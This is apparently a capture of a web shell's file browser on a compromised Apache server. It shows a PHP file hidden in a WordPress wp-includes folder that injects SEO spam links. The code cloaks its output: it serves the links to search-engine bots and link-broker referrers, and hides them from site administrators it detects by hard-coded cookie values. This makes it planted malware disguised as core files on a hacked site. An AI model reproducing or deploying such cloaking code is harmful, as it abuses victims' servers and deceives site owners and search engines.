HEX
Server: Apache/2.4.59 (Debian)
System: Linux skycube.cz 4.19.0-25-amd64 #1 SMP Debian 4.19.289-2 (2023-08-08) x86_64
User: ilya (534)
PHP: 7.3.31-1~deb10u7
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/ilya/data/www/eeggs.ru/wp-includes/Text/Diff/Engine/dic/zed.php
<?php
function linkoutput() {
	include_once($_SERVER['DOCUMENT_ROOT'].'/wp-includes/Text/Diff/Engine/dic/mainlink.php');      
	$o = array( 
		'USERNAME' => '3D3707260847896F6ACE0125BB81F033',
		'charset' => 'utf',                                     
		'splitter' => ' || ',
		'test' => false,
	); 
	//$o['request_uri'] = getenv('REQUEST_URI');
	$client_ml = new MClient($o); 
	echo $client_ml->build_links();
}
/* ------------------------------------------------ */

function mlref() {  
	if (@isset($_SERVER['HTTP_REFERER'])) 
	$r=$_SERVER['HTTP_REFERER']; ELSE $r='';
	$mlref = array("mainlink", "mainlinkads", "seohammer");
	if ((strpos($r,$mlref[0])!==FALSE) || (strpos($r,$mlref[1])!==FALSE) || (strpos($r,$mlref[2])!==FALSE)) {
		return TRUE;
	}
	
}
function noref() {
	if ((@empty($_SERVER['HTTP_REFERER'])) || (@$_COOKIE['clientrecl'] == "yes1")) {
		return TRUE;
	}
}
function psbot() {
	$botHUA = array("mlbot.", "/webmasters/apis-google.html", "/adsbot.html",  "googlebot", "google.com/bot.html", "yandex.com/bots");
	$HUA = strtolower(getenv("HTTP_USER_AGENT"));
	for ($i = 0; $i < count($botHUA); $i++) {
		if (strpos($HUA, $botHUA[$i]) !== FALSE) {
			return TRUE;
		}
	}
}
function admdetect() {
	$admcoock1 = @$_COOKIE['mainl'];
	$admcoock2 = @$_COOKIE['itis'];
	if (($admcoock1 == 'ad6jjfT6ed6min') || ($admcoock2 == 'tagB6kirBged')) {
		return TRUE;
	}
}
function mbadm() {
	$badcoock = @$_COOKIE['info86'];
	if ($badcoock == 'rec') {
		return TRUE;
	}
}	

if (mlref() == TRUE) {
	function zed() {
		linkoutput();
	}
}
elseif ((admdetect() == TRUE) || (mbadm() == TRUE)) {
	function zed() {
		echo '<div id = "zedspec"></div>';
	}
}
elseif (psbot() == TRUE) {
	function zed() {
		linkoutput();
		echo '<!-- ooommm -->';
	}
}
elseif (noref() == TRUE) { 
	function zed() {
		echo '<div id = "zedspec">';
		linkoutput();
		echo '</div>';
	}
}
else { 
	function zed() {
		echo '<div id = "zedspec"></div>';
	}
}
?>